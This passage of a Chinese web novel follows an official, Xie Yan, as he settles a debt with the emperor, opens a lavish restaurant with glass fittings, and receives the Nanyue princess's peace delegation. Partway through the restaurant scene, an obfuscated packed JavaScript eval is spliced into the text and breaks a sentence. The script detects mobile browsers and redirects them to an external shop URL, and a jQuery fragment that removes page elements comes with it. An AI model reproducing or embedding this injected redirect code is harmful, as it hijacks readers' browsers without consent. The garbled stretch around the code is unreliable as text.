韩泰闻言有些无奈的叹了口气,心说谢彦这个年轻人,真是生了一颗七窍玲珑心,什么事都算无遗漏,他既然都这么说了,即便自己让韩离退回去,他可能也会想别的办法让他们收下这银子。 而且现在他们家也确实需要银子,最终一生刚正不阿、两袖清风的韩泰,还是收下了谢彦的这份心意。 说完银子的事,韩离又对韩泰道:“爹,娘,如今大启的局势算是基本稳定了,所以我暂时不打算去参军了。” 韩泰闻言看向他道:“那你是不是有了什么别的打算?” 韩离点了点头:“谢大哥这次恐怕得罪了不少人,而且他的身体又那么弱,我有些不放心,所以我想去给他当护卫。” “你是心甘情愿的?” “嗯,大启需要像谢大哥这样有大才的良臣,和像沈家姐姐那样有勇有谋的武将,方能扭转当今的颓势,要是谢大哥万一遭遇不测,对我大启来说绝对是重大损失,如今战场上有沈家姐姐就够了,所以我想留下来保护好谢大哥这样的良臣。” 韩泰觉得自己小儿子这次西川之行,确实成长了不少,这应该跟谢彦脱不开关系。 因此韩泰看向了自己夫人,多年夫妻,早已有了默契,韩夫人自然明白丈夫是在征询她的意见,刚才韩离的一番话,让韩夫人也发现韩离此次回来的巨大变化,所以她朝韩泰点了点头。 韩泰见自己夫人同意了,才对韩离道:“既然你决定了,为父和你娘都不会反对,但这事,你是已经和你谢大哥商量过了,还只是你的一厢情愿?” “回来的路上,我就同谢大哥说了我的想法,他很高兴,只是他担心我的身份,谢大哥说我好歹也是大理寺卿家的小公子,给他一个六品小 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御书房的偏殿里,谢彦把那把在西川买的牛角弓,从他带进宫的那个大箱子里拿出来给铁蛋看。 当然,谢彦省略了那把弓本来是给柳如烟买的事,虽然铁蛋即便知道应该也不会介意,但谢彦觉得这种事还是不说更好。 当初谢彦去西川后,玄崇就带着铁蛋在这御书房旁边的偏殿住下了,不过这里比之前谢彦住在这里的时候,可好太多了,所有家具摆设一应俱全。 除了谢彦之前睡过的那张榻并没有被撤走外,刚才谢彦一进来的时候,差点以为自己走错门了,真是没有对比就没有伤害。 不过谢彦很有自知之明,自己这个在玄崇眼里的“黄毛”,有什么资格跟人家的大外甥比。 批完奏折回来的玄崇,就见谢彦在给小喜子发礼物,还让他等下把袁公公的那份给他送过去。 “舅舅,这是我爹从西川给我带回来的弓,您能不能教我射?” 玄崇闻言走了过来,拿起那把弓看了看,点了点头:“确实是把好弓,不过这把弓太大也太重了,云儿现在还用不了,你要是想学射箭,舅舅让人去给你做把小些的,这把留给你长大后再用。” 铁蛋闻言有些遗憾的哦了一声,不过一想到过一阵子还能再收到一把弓,就又高兴起来了。 一旁的谢彦听了玄崇的话,多少有些汗颜,心说自己这个当爹的,怎么还没玄崇考虑的周到,怎么就没想起给铁蛋买一把现在能用的弓回来。 玄崇可能看出了谢彦的窘态,让小喜子先带铁蛋到隔壁去玩一会,然后示意谢彦坐下。 谢彦以为他是准备向自己讨债了,所以才把铁蛋支走,因此也没等玄崇开口,就主动道:“不知陛下这次改建万贺楼,一共花了多少银子?” “万贺楼前面的三层楼才刚刚建好,不过里面的装饰摆设,都还没来得及弄,现在你回来了,正好就交给你自己去弄,至于建楼的银子,给朕五万两就好。” 玄崇说得给人一种是不是很便宜的感觉。 谢彦心说,一个空壳的三层楼,就算面积很大,用的也是好木料,撑死了也用不了五万两那么多。 但玄崇既然报价了,他就不能还价,不然就是不想活了,不过他也在心里决定,以后要是资金再紧张的时候,无论跟谁借银子,都不能再跟玄崇借,这利息简直比放高利贷的还黑。 谢彦有些肉疼的对玄崇道:“这银子可能要等臣把带回来的货先卖出去,才能把银子还给陛下。” 玄崇却道:“其实你也可以用你带回来的粮食或是棉花,拿出一部分来抵这五万两。” 谢彦觉得这也不是不行,不过他也不会用在西川的批发价来抵玄崇的欠银,既然玄崇这么黑心,所以他也在批发价的基础上加了三成利,折算出一批粮食和棉花的数量,抵了欠玄崇的那五万两。 不过即便谢彦加了三成利,还是比大启如今的粮价便宜许多,因此玄崇倒也没有异议。 正事谈完了,小喜子也抱着已经玩累睡着的铁蛋回来了。 本来小喜子习惯性的想把铁蛋放到玄崇的床上,但玄崇却看了对面谢彦睡的那张榻一眼,小喜子会意,脚步转了个方向,把铁蛋放到了谢彦的榻上,随后便带着他和袁公公的两个装着礼物的大礼盒退出了偏殿。 小喜子离开前,见他家陛下似乎看了他手中的礼盒好几眼,不过小喜子觉得谢大人凡事都想的周全,自然不可能漏了他家陛下的礼物,所以就十分放心的出去了。 正在整理被子的谢彦,错过了主仆之间的眼神交流,他把铁蛋的外衣脱了,给他盖好被子后,便也准备睡觉了,明早还得安排人先把抵给玄崇的那部分粮食和棉花分出来,剩下的部分和其它带回来的一些货品,还得去找人卖掉。 本来按常理谢彦明早是要上朝的,但玄崇放了他们使团成员十天假,让他们好好休息一下。 原本谢彦想收拾一下铁蛋的东西带他回家的,毕竟今天太后的反常举动,谢彦预感宫里怕是要暗流涌动了,还是早点把铁蛋接出宫比较好。 对于韩离要给自己当护卫的事,谢彦自然求之不得,他现在确实得罪了太多人,即便他能猜到,除了已经去了南越的柳如烟外,玄崇或是沈金戈应该还有派人在暗中保护铁蛋和他,但韩离武功很高,做事机谨,人品也值得信赖,最主要他看出韩离是真心想要保护他的,自然不可能会拒绝,所以他才让韩离先回去征询一下他父母的意见。 不过玄崇却说今日太晚了,非要留他们父子在宫里住一晚再走。 谢彦知道玄崇是舍不得铁蛋,毕竟带了几个月了,因此也不好对玄崇这个“德华”用完就丢,便答应了。 谁料就在谢彦准备上榻睡觉时,就听见玄崇轻咳了一声。 谢彦有些不解的看向他,“不知陛下可还有事?” 玄崇看了铁蛋还摆在外面的那把弓一眼,缓缓开口:“朕的呢?” 谢彦半晌才明白过来,玄崇这是在向他要礼物,心说你黑了我那么多银子,还有脸要礼物,但一想到玄崇是皇帝,话到嘴边又被他生生咽了回去。 谢彦虽然给所有人都准备了礼物,还真没给玄崇准备,因为他早就料到,玄崇等他回来,肯定会朝他狮子大开口,让他加倍还钱,既然如此,那他何必还要浪费银子给玄崇买礼物,直接给他银子不就完了吗。 再说皇宫里什么稀世珍宝没有,他要是准备普通的礼物,玄崇恐怕也看不上,要是准备太贵的,以谢彦对玄崇的了解,还不如直接给他银子,那样玄崇应该会更高兴一些。 只是谢彦怎么都没想到,玄崇竟然会自己张口要,这让他有些猝不及防。 谢彦在脑子里把从西川带回来的东西快速过了一遍,本打算拿些自己带回来的西川特产糊弄一下玄崇,但又怕被玄崇发现,自己给他准备的“礼物”,还不如给小喜子公公他们准备的用心,还不得砍了他。 更何况他们从西川带回来的那些东西,除了西川王给玄崇的那些回礼外,其它也不在宫里。 谢彦左想右想,终于想起,自己在买那把弯刀时,老板似乎还送了他个玛瑙雕的貔貅小挂件,谢彦赶紧去装礼物的箱子里翻了翻,结果还真在一个角落里翻到了,他将其毕恭毕敬的捧到玄崇面前。 虽说礼物没用心,还是个赠品,但态度绝不能让人看出是在敷衍,毕竟面前这人好歹也是皇上,惹毛他可能会死。 玄崇在看到那个小的可怜的貔貅时,嘴角抽了抽,不过最终还是接了过去。 谢彦见玄崇接了,脸色也还算正常,暗暗松了口气,随后便去睡了。 31. 万贺楼开张 第二日一早,谢彦就把铁蛋的东西收拾好,准备带他回家。 他们走的时候,玄崇还在上朝,是袁公公和小喜子送他们的。 小喜子这几个月和铁蛋已经玩熟了,见他要走,没忍住就掉了金豆子,铁蛋见状连忙去给他擦眼泪,搞得场面还挺心酸的。 谢彦见状道:“小喜公公要是想云儿了,以后每隔几日,就让他跟着万福送些吃的来宫门口,到时小喜公公还是如之前一样去取如何,当然,小喜公公要是有空,也可以还像之前一样去店里取。” 小喜子闻言立刻破涕为笑,连忙点头如捣蒜,一旁的铁蛋闻言也连连点头。 袁公公有些不好意思的道:“让大人见笑了!” 谢彦笑着摇了摇头:“无妨,这些时日,多亏了陛下和二位公公照看云儿,本官感激不尽!” 谢彦说完给两人行了一礼,又让铁蛋给他们行了一礼,才和他们告辞。 袁公公和小喜子一直把他们爷俩送到宫门口才回去。 谢彦回去后,找人把给玄崇的那部分粮食和棉花分出来后,然后去找了夏开,请夏家帮忙代卖剩下来的那部分货。 除了夏齐两家,交给别人谢彦不放心,他怕有些人会乘机屯粮屯棉花,等到冬天的时候在漫天要价。 夏家和齐家这次才是真正赚的盆满钵满,他们正不知该如何感谢谢彦,夏家对他这个小小的请求自然一口答应。 夏开甚至按照谢彦订好的价格,直接从京城夏家的铺面上,取了银子给他把货款给结清了。 谢彦估计夏家是知道他急需用银子,所以才会这么做,这份情谊,谢彦自然记下了。 这么一来一回倒腾了一番后,除去用货抵了玄崇的那五万两外,谢彦还剩差不多五万两。 他离开的这几个月,京城这边卤货铺的营业额也很可观,不过卤货铺那边的银子谢彦不打算再动,因为那些银子里不仅有铁蛋一份,他也依旧会给柳如烟留一份,而剩下的,就留着给他们以备不时之需。 万贺楼这边的生意,谢彦就打算用这手上的五万两折腾。 谢彦在处理了那些带回来的货后,又去了正阳大街那边,打算看看玄崇让人盖的那三层楼,到底是个什么情况。 等到了后谢彦才知道,玄崇说的三层楼现在还只是个空架子,就真是个空架子,室内甚至连隔断都还没开始做,而后面那些待修缮的亭台楼阁,也都还没动工。 前面那三层楼外观建的确够气派,木料也都是用的好木料,面积更是比斜对面的云上楼前面的楼大上两倍还多,要不然谢彦肯定得骂一句玄崇真不要脸,就这还要收他五万两,心简直比锅底还黑。 不过等气消了后,谢彦又觉得,这楼内部也还好没有隔断和布置,不然按照他接下来的计划,有些地方恐怕还得拆掉从来。 从正阳大街回去后,谢彦去找了刘三爷,请他给买一批能签死契的壮劳力和厨子,以及一个会养牛羊的人。 另外再帮他在他家附近寻一处大一点的宅子,还让刘三爷在城郊帮他买个带个一两百亩地的庄子,那是准备养他带回来的奶牛用的。 另外他还打算在庄子上养羊和鸡鸭,毕竟他开酒楼肯定会用到,而京城暂时并没有人大批量养这些,他想要货源长期稳定,就只能自己想办法解决。 至于蔬菜那些,他会找京郊的农户合作。 因为他买庄子田地是为了养殖用的,所以不会用来种粮食,而是用来种苜蓿草给羊和奶牛吃,因此地不用太好,即便是山地也是可以的,不过只能比他要求的大不能小。 临走前,谢彦送了刘三爷一大包从西川带回来的风干牛肉。 牛肉在大启可是稀罕物,刘三爷收到后开心的不行。 没几天工夫,刘三爷就陆续帮他把事情都办好了。 新买的宅子离他家只有一里多路,是个三进的大宅子,不过现在京城房价已经开始在涨,再加上谢彦住的这片,还出了他这个状元,以及他的五个进士朋友,所以房价也不可同日而予。 新买的这处三进的大宅子,已经涨到了三千两,不过谢彦丝毫没犹豫就买下了,毕竟按这个趋势下去,京城的房价肯定会继续涨。 至于城郊的那个庄子,大概有三百多亩田地,是半山地,也正因为是半山地,长不太好庄稼,所以主家才会想卖,价格在京城周边来说倒也不算太贵,四两一亩,三百多亩一共要了一千二百两,另外庄子上有十来间房子和一个大院子。 不过那个会养牛的汉子还带着媳妇和一个十二三岁的儿子,谢彦便一起买下了,让他们一家带着十头奶牛住到了庄子上去,之后他又托刘三爷买了一匹羔羊和两只能下仔的母羊,还有一只配种用的公羊送了过去。 与此同时,谢彦也带着那些签了死契的壮劳力和厨子,搬进了那新买的三进大宅子,开始了一边培训厨子一边研究烧琉璃的事。 他让人把三进宅子中间那进五间正屋里面的墙都打通了,改用柱子来承重,这样可以让那五间房子变得和厂房差不多,之后他就在里面研究烧制琉璃的事。 烧制琉璃,其实和烧制玻璃差不多,不过谢彦虽然知道流程,但却没有实际操作过,想要量产,还必须费一番功夫。 他研究了不少时日,才摸出了一些门道,之后就是琉璃的形状色彩及大小等问题,这些需要慢慢来,不可能一蹴而就。 这期间那些签了死契的壮汉,也一直在旁边跟着谢彦一起学,等谢彦摸索的差不多后,就先让他们在家烧制一些简单的小件来练手,至于工艺复杂的或是大件,就等他从礼部回来后再一起研究。 而那些买回来的厨子,也在跟着谢彦学各种菜品。 在之后的一段时间里,每当上朝时,大家都能看到谢大人一副纵欲过度的样子,不仅脚步虚浮,眼底还有於青。 不知是不是因为这个原因,之前和他一起出使西川的那些使臣都升官了,单明远甚至直接升到了礼部尚书,但谢彦却依旧原地不动,还是六品员外郎。 这个结果简直出乎所有人的预料,包括魏相那些人。 单明远被这个天上掉下的大馅饼给砸懵了,他本来以为,皇上把礼部尚书的位置故意空着,应该就是等着谢彦这次从西川回来,直接推他上位,以谢彦这次为大启所做的贡献,再加上先前的那些,即便这个升官速度太快,应该也不会有人当面质疑。 毕竟即便前任礼部尚书在任那么多年,也没有谢彦为大启做的贡献大。 只是单明远没想到,最后升官太快的不是谢彦,而是他,单明远对于这个官职是接也不是,不接也不是,他在受封的时候,甚至有些为难的看向谢彦的方向。 谁料谢彦却冲他拱了拱手,似在恭喜他升官,这让单明远更加惭愧,而就在这时,玄崇一句难道单爱卿也想抗旨,让单明远不得不接了这个有些烫屁股的高位。 谢彦对此倒是不甚在意,又恢复到了刚开始到礼部时的状态,到点就走,不过现在礼部一把手和二把手都是熟人,还有不少和他一起出使过西川的同僚,所以他在礼部的日子自然比以前舒服太多了,有时他摸个鱼请个假什么的,都方便了许多。 至于万贺楼那边,从装修开始,谢彦就用布从临街的那一面给遮起来了,还请了人严加看守,不让无关人员靠近,所以即便正阳大街上人来人往,也没人知道万贺楼的装修情况。 一直到快入冬时,挡在万贺楼前面的布,才终于被撤掉了。 在布撤掉的那一瞬,所有看到的人都瞠目结舌,原本闹哄哄的人群,突然就没了声响。 足足过了半盏茶的时间,才有人揉了揉眼睛,小声道:“那,那些门窗上装的,不会是琉璃吧?” 不过他的话立马就被身边的人给否定了:“怎么可能,这么大一栋楼,那么多门窗,要都是琉璃,那得多少银子,即便有银子,又去哪里找这么多的琉璃来,我看应该是彩色的纸吧。” 随着两人的对话声传出,其他反应过来的人,也开始纷纷加入这场讨论。 一时之间,万贺楼的雕花长廊这头人声鼎沸,直到谢彦出现对众人道:“大家要是想知道那些到底是琉璃,还是彩色的纸,进去看看便知,今日万贺楼开张,所有菜品一律半价筹宾。 人群中有不少人认识谢彦,因为大家都感激他出使西川给大启带来的翻天覆地的变化,而且谢彦家的吃食从来没让人失望过,比如卤货和酒,因此有人激动道: “既然是谢大人开的酒楼,那我们自然要进去尝尝,只是不知这菜价,可否是我们这些普通百姓能够吃得起的?” 虽然大家想给谢彦新开的酒楼捧场,但看着原本有天下第一楼之称的云上楼,如今在万贺楼的对比下都显得黯然失色,恐怕今日过后,天下第一楼就要改名字了,这样气势恢宏奢华至极的万贺楼,真的是他们这些普通百姓能吃得起的吗? 众人虽然十分想进去一观,但又不免有些担心自己口袋里的银子,是否够在万贺楼喝上一壶茶水的。 “大家放心,万贺楼的菜品都是明码标价,大家可以先进去看看,要是觉得价格不合适,权当是进去参观了。” 众人听谢彦这么说,终于把心放到了肚子里,于是都激动的准备进入,不过因为围观的人太多,谢彦提醒他们最好排队进入。 出于对谢彦的尊敬,并没有排队习惯的古人都依言排起了队,等众人穿过雕花走廊,进入万贺楼正门后,首先出现在眼前的是一道琉璃屏风,屏风遮挡住了里面的景象。 众人在看到那道琉璃屏风时,脑子已经不够用了,但等他们绕过屏风才发现,大厅里才是真正的流光溢彩,熠熠生辉,很多摆件和一些地方的隔断,还有那些灯罩,用的都是美轮美奂的琉璃,这让进来的人,有种置身于琉璃世界的视觉震撼。 众人从刚开始的激动,到小心翼翼,生怕一个不小心,就会碰坏东西,不管碰坏什么,他们都赔不起。 大家怀着忐忑的心情,在穿着整洁态度热情的小二哥的引导下,坐到了桌子旁,直到小二哥递过来菜单让他们看了后,大家悬着的心才总算放了下来。 虽然菜单上的有些菜和酒并不便宜,但也有很多他们能消费得起的菜品,再加上谢彦刚才说过,今日菜品一律半价,所以有人就先小心翼翼地点了几个菜,打算先尝一尝。 小二哥不管客人点多点少,点贵或是点便宜的,始终态度如一。 一直等把菜吃到肚子里,大家才终于意识到,自己真的在这么奢华的地方,吃到了实惠又好吃的菜,这些即不是水煮也不是蒸出来的菜品,真是又入味又香,让人吃一口还想吃一口,再吃一口,根本停不下来。 那些有钱的,就都上了二楼和三楼雅间,用琉璃杯喝着谢彦从西川带回来的葡萄美酒,或是用青瓷酒具,喝着谢彦自酿的一种名为西风烈的烈酒。 因为西方烈这个酒的来由,已经被随行的使团和商队传了出去,所以大家都知道了谢彦在西川皇宫与西川王关于这酒的那一番话。 既然谢彦都说大启人的性子烈如西风,那身为大启人,他们自然要品尝一下这西风烈。 不过有些可惜的是,这西风烈只在万贺楼卖,概不外售,当然价格也不便宜,而且是有限量的,每人最多可买半斤。 另外有些远道而来的客人,在知道万贺楼还提供住宿后,更是当即便住下了,至于价格嘛,自然不会便宜。 但万贺楼后面园子里的住宿环境,简直比那些世家贵族的后花园还要奢华和舒适,特别是整天都有热水的浴房,和用水一冲就干净的茅厕,更是让古人深深爱了。 这还只是万贺楼白天的景象,等到了晚上,整个万贺楼灯火通明,流光溢彩,如同一颗璀璨的星辰,陡然坠落在了京城最繁华的正阳大街上,很快就有文人在看了此番景象后,给万贺楼起了个别称,琉璃阁。 还别说,这个别称还真贴切,为此谢彦还请给万贺楼取这个别称的才子免费吃了一顿。 万贺楼在给了古人巨大震撼的同时,也让人看着心生羡慕嫉妒甚至是恨,更有人对那些似乎唾手可得的琉璃起了贪欲。 只是一般的小毛贼根本不敢动手,因为他们还没那个胆子打正阳大街上这些店铺的主意。 倒是引来了一批朝廷抓了多年都没能抓到的江洋大盗前仆后继,只可惜最终皆被韩离和玄崇派在暗中照拂万贺楼的暗卫,给全端了,因此还让韩离和那些暗卫得了一大笔缉拿这些江洋大盗的赏金。 不仅如此,谢彦又额外给了韩离他们一笔辛苦费。 自打韩离跟着谢彦混后,韩家的生活条件可谓是直线上升,就连一向节俭的韩泰,都换上了儿子出钱为他添置的新官服。 而玄崇派去的那些暗卫,也都觉得跟着谢大人混有肉吃,那些暗卫甚至觉得,可能就连他们陛下也是这么认为的,不然但凡换个人那么对他们陛下视如眼珠子的沈将军,恐怕早就被他们陛下给砍了。 玄崇命人把那些江洋大盗带到人最多的菜市口,当众砍了。 一时之间,不管是江湖中人,还是暗中觊觎万贺楼那些琉璃的官场中人,都暂时歇了心思。 等到了年底,万贺楼的生意,已经到了爆棚的程度,特别是后推出的火锅,因为有秘制酱料和锅底的加持,在冬天吃上一顿,简直赛神仙。 而那些奶茶甜点,更是成了京城小姐贵妇们追捧的对象,因为奶茶甜点这些打包方便,所以专门卖这些的外卖区域,每日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149442|130138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从早到晚都不会停,直到每日的牛奶用完为止。 因为现在已与西川通商,牛肉也不再是遥不可及的东西,如今不止有大启商人去西川做生意,也有西川人来大启做生意,在京城要买一些西川的特产倒也方便了不少,价格也十分公道。 就连北狄的商人,也在这隆冬时节,带着他们的很多皮制品和名贵药材,来到了大启做生意。 再加上今年大启也是风调雨顺,粮食丰收,灾年留下的后遗症,在多方的努力下,也基本得到了缓解,如今的大启,似乎又快要恢复到之前的太平盛世时才有的景象。 不过即便大启和北狄也已经议和并且通商了,但沈金戈却迟迟未归,而谢彦暂时也还抽不出空来,把生意做到北狄去。 因为不仅京成这边的公务和万贺楼事务繁杂,而且玄崇已经为他在青川府选好了开万贺楼分店的地方,就连城外的配套实施也一并给他选好了,但接下来的选人和装修,还需要谢彦自己派人过去。 交给别人不放心,但谢彦又无暇亲自前往青川府,所以谢彦只能把已经锻炼出来的万安,调过去青川府那边当掌柜。 至于他爹万福,如今已经是万贺楼的大掌柜。 而卤肉铺那边,现在就交给了万安他娘在管。 青川府是徐凌的地盘,还有杨青荷也在那边,再加上玄崇派在暗中看场子的人,谢彦倒也不是太担心。 万安去的时候,谢彦还让他给徐凌捎去了一套琉璃盏和一坛葡萄美酒,又给风儿捐捎了一套琉璃烧制的小玩具,还让人给杜文清捎去了一套琉琉璃盏和葡萄酒,以及两个琉璃镇纸和一个琉璃砚台。 徐凌收到礼物的时候,虽然表面云淡风轻,但内心却乐开了花,觉得谢大人这人是真的能处。 至于风儿这个小孩子,她到不在意琉璃的价值,她只知道这是谢彦对她的关爱。 而杜文清,则拿着那两个美轮美奂的琉璃镇纸,看了又看,摸了又摸,俨然是一副老父亲收到孩子礼物时的表情。 不过他心里也很替谢彦担心,担心谢彦锋芒太露,会被人盯上。 但想到谢彦现在几乎是和皇上捆在了一起,不管这锋芒露还是不露,恐怕也早已被人给盯上了,既然如此,还不如索性将事做到极致,让对手想攻击都不易做到的地步。 本来杜文清是想替谢彦在青川府的万贺楼分店题字的,但想想又觉得不妥,毕竟京城万贺楼是皇上亲手题字,他要是给青川府的万贺楼题字,难免会被人同京城的万贺楼作比较,到时说不定会给谢彦招来一些不必要的麻烦,因此便打消了这个念头。 不过他还是给谢彦题了几幅小字,让人同信还有不少青川特产一起给他捎了回去,随他用在什么地方。 ―― “爹,你说娘过年的时候能回来吗?” 最近铁蛋总是在问谢彦,过年的时候他娘能不能回来,谢彦也无从知晓,所以给不了铁蛋答案。 他打算抽空去问问玄崇,要是沈金戈今年真不回来,他打算在玄崇派人给北地送粮饷的时候,顺便给沈金戈捎点她可能用得上的东西过去。 毕竟无论如何,沈金戈也是铁蛋的娘,还是保家卫国的女将军,一想到她一个女子在北地那冰天雪地里的艰辛,谢彦心里不知为何就有些不是滋味。 不过在谢彦问玄崇的时候,得到的答案却是沈金戈最晚年后就能回来。 谢彦听到这个消息,不觉喜形于色,心说总算是能给铁蛋一个交代了。 谁知玄崇在看到他的表情后,却淡淡道:“谢大人无需这般急切,金戈早就跟朕说过,她对你已经彻底放下了,所以你实在不必担心她会反悔之前和你的约定,等她一回来,朕就会提醒她和你解除约定,这下谢大人可安心了。” 要是玄崇不提,谢彦都快忘了那个什么狗屁约定,如今听玄崇这么说,谢彦只觉得自己一腔的古道热肠,最终喂出了两只白眼狼,需要的时候,原本高冷冻人的兄妹俩,真是能屈能伸,嘴巴一个比一个甜,现在利用完了,就又恢复高冷,准备毫不留情的一脚把他给踹了。 谢彦心说,解除就解除,谁不解除谁是狗,还有你们兄妹俩以后最好别再求到我头上,不然我保证不会再帮。 玄崇见他的脸色变来变去,堪比二月的天,刚才还艳阳高照,现在就又阴云密布了,无奈叹了口气道: “朕知道有些话你不爱听,但以金戈的性格,她绝不可能再要一个心里还装着别的女人的男人,她之前会在大街上当众绑你回去,也是为了大启迫不得已,这都要怪朕这个哥哥无能,你要是觉得被利用了,要怨便怨朕吧,以后朕会尽量在其它地方弥补你,朕只希望你不要去怨金戈,至少她曾经喜欢你的心没有掺假。” 谢彦不知是不是还在生气,总之也没有解释自己心中才没有那个李兰湘,他沉默了半晌才道: “臣知道陛下的意思了,要是臣有妹妹,也绝不会允许她再跟一个背叛过她的男人破镜重圆,所以等沈将军一回来,我便会和她解除之前的约定,绝不会纠缠与她,还请陛下放宽心。” 本来玄崇的话是有些试探的成分在里面的,现在他见谢彦完全不辩驳,便以为他心里真还没有放下那个李兰湘,脸色不觉又变得有些不好看。 谢彦见他脸色又变了,觉得玄崇简直就是神经病,自己不管怎么说都不能让他高兴,最后干脆什么也不说了。 最后君臣二人就在御书房里干耗着,直到谢彦掏出这个月的万贺楼分红的银票“甩”到玄崇的龙案上,玄崇才放他出宫。 不过年前他们没有等到沈金戈回来,倒是等来了南越要与大启议和的文书,而且据说这次,南越皇帝还有想让南越长公主与大启联姻的意图,至于具体和谁联姻,倒是没有说明。 但不管和谁联姻,哪怕是大启一个普通百姓,玄崇都不会答应。 大启虽然一向待人宽容,但南越除外,这不仅因为公愤,还有私仇,因为无论是沈金戈还是玄崇或是大启百姓,都觉得沈傲死的蹊跷,不是那种正常的战死沙场,更像是被人用歹毒阴损的手段谋害的,虽然暂时他们还没查到确凿证据,但要大启和南越联姻,绝无可能。 几乎与此同时,西川也派了使臣出使大启,听说这次要来的是西川太子和西川小公主兄妹俩,不过他们这次来,据说只是为了加深大启和西川之间的友谊。 另外北狄也传来消息,说北狄太子要随沈金戈一起来大启。 除了还在内斗的东陵,和周边那些从不敢参与几个大国之间争端的零星小国,其他三个大国,都在向大启示好。 这个消息一传出,让大启百姓被压弯多年的脊梁,一夕之间直了起来,大街之上随处可见众人扬眉吐气的笑脸。 32. 想白嫖 年后不久,南越长公主就率领南越使团抵达大启,他们入京的那天,京城正下着漫天大雪。 南越使团的排场很大,这大冬天的,竟然还用从南越带来的花瓣开道,漫天大雪配上嫣红的花瓣,还别说,还真别具一格。 念月依旧一袭华丽的紫色衣裙,只是在衣服外面罩了一件白色狐裘,另外脸上还蒙了一层紫色面纱,她坐在装点着原本可能是鲜花,但现在已经变成“雪花”的马车上,马车前面的紫色帷幔没有放下,所以外面的人一眼就可以看见她。 看到念月这造作的出场方式,让以使臣身份来接南越使团的谢彦,想到了一个人,不过那个人从头发被他烧了后,就一直没有在公众视野里露过真容。 不过念月大费周章想要隆重登场,大启百姓却根本不买账,要不是维持着最基本的礼仪,街道两边的百姓,可能就要朝她扔烂菜叶子了。 因为大启百姓永远不可能忘记,死于南越人手里的镇国大将军沈傲,以及无数大启将士和百姓的仇恨,如今南越作为战败国前来议和,不但不知收敛,竟然还敢在大启的土地上如此招摇过世,不知居心何在。 念月对民众的反应似是未觉,对谢彦道:“听闻大启皇城最是繁华热闹,尤其是最为繁华的正阳大街,不知谢大人可否作为向导,带本公主和南越使团在这大启皇城里绕上一圈,也好让我们这些远道而来的客人开开眼界。” 本来谢彦以为,念月这次来大启,多少会比在西川时收敛一些,如今看她这态度,看来教训还是不够。 谢彦淡淡道:“自然可以,只是不知我大启同胞的脾气,能不能克制到念月公主转完这皇城一圈,为了南越使团的安全考虑,本官建议你们还是直接回驿馆的好。” 念月却轻笑道:“难道这就是大启的待客之道,就不怕传出去,让别国的使臣都不敢再来大启了吗?” “真正来做客的客人,大启必然以礼相待,但要是怀着不良用心来大启的鼠輩,大启自然不必讲什么礼仪,要是再不安分,就继续打呗,总有打服的一天!” 谢彦这话说的可以说是十分嚣张了,念月本来以为无论如何,大启使臣也会顾及礼仪,被迫答应她绕皇城一圈的提议,谁料谢彦却根本没把南越放在眼里,甚至如此直白的说出再不安分就继续打这这么嚣张的话来。 念月被气得浑身发抖,不过谢彦的话似乎提醒了她南越如今的处境,最终识趣的没再继续作妖,不然她觉得谢彦说不定真会纵容街道两边那些都在极力压制怒火的大启百姓,朝她扔烂菜叶子。 念月抵达大启的三日后,玄崇接见了南越使团,在接见南越使团的时候,大启这边除了礼部的使臣和官员,就连不少其他部门的重臣也都在场。 其中包括三天两头就会生病的魏相,以及依旧带着纱笠的贤王。 “本王早就听闻南越长公主才貌无双,今日一见,果然名不虚传。” 不得不说,贤王是有些睁眼说瞎话的本事在身上的,这念月蒙的就只剩两只眼睛在外面了,他都还能说出这种话。 只是没想到念月睁眼说瞎话的本事,更胜贤王一筹:“王爷缪赞了,王爷才是才情德行容貌都俱佳的才俊,我南越有不少妙龄少女,在知道世间还有王爷这样一位惊才绝艳的美男子,都道此生若能有幸见上王爷一面,即便立刻死了也无憾了。” 谢彦看着玄容头上那密不透风的纱笠,替人尴尬的毛病都犯了。 上面坐着的玄崇和群臣可能也都被尴尬到了,一时之间都没有开口。 这时就听玄容又道:“念月公主才是缪赞,在我们这大启,要说才貌第一的男子,当属陛下,要说财貌第一的当属我们大启的大功臣谢大人,本王相比较他们,勉强能占个德字吧。” “王爷说的没错,大启国君和谢大人确实都是难得一见的美男子,看来大启真是人杰地灵,人才辈出,若是有幸能长居大启,便是三生有幸了。” 念月的此话一出,在场的人,哪里还不明白她话中的意思,有人想要开口,却被玄崇打断了:“念月公主这次既然是为议和而来,那就不妨说说你所带来的诚意吧,等议和的事谈妥后,念月公主大可以再在我大启游玩几日再回南越。” 玄崇的意思也表达的很明白,除了议和,其它事你就别想了,谈完议和的事,再让你在大启玩几天,就从哪里来回哪里去。 念月闻言,一改在别人面前那种嚣张跋扈的态度,眼波流转的看向玄崇,声音更是像受了莫大的委屈:“陛下这话说的可真叫念月伤心!” “念月公主,还请你认清南越现在的形势,既然你代表南越,以战败国的身份来我大启求和,就请拿出一个战败国该有的诚意,至于其它无关紧要的话,就不要说了,朕和各位爱卿每日有很多事要处理,你要是一直不进入正题,那就不必再谈。” 玄容听了玄崇这严厉又直白的话,有些不赞同的道:“陛下,念月公主身份尊贵,又是女子,陛下就不能怜香惜玉一点。” “在这一点上,朕确实不如皇兄,皇兄要是和念月公主投缘,不如等私下再叙,这朝堂上,是议国家大事的地方,不是谈私事的地方,还请皇兄见谅。” 玄容被堵的一时不知如何反驳,只能叹了口气,苦笑道:“唉,你啊!” 玄崇却不再理会他,而是面色微沉的看向念月,脸上明晃晃的写着你若再不说正事,就出去。 念月见玄崇一直不接自己的茬,只能说正事:“本公主这次带来的诚意,就是陛下若同意与南越议和以及通商,本公主便以自己为礼物,献给大启。” 众人闻言不由又尴尬到沉默了,本来大家还以为,念月这次来,即便有与大启联姻的打算,应该也是备了厚礼来的,毕竟南越是来向大启求和的,但没想到,南越不但一毛不拔,还想顺手就把亲给结下了,真是打得一手好算盘。 不过玄崇显然也不是吃素的:“念月公主说愿意以自己为礼物献给大启,那就是说,不管大启要如何对你,你都会答应?” “陛下,我” “你只要回答朕是与不是便可。” 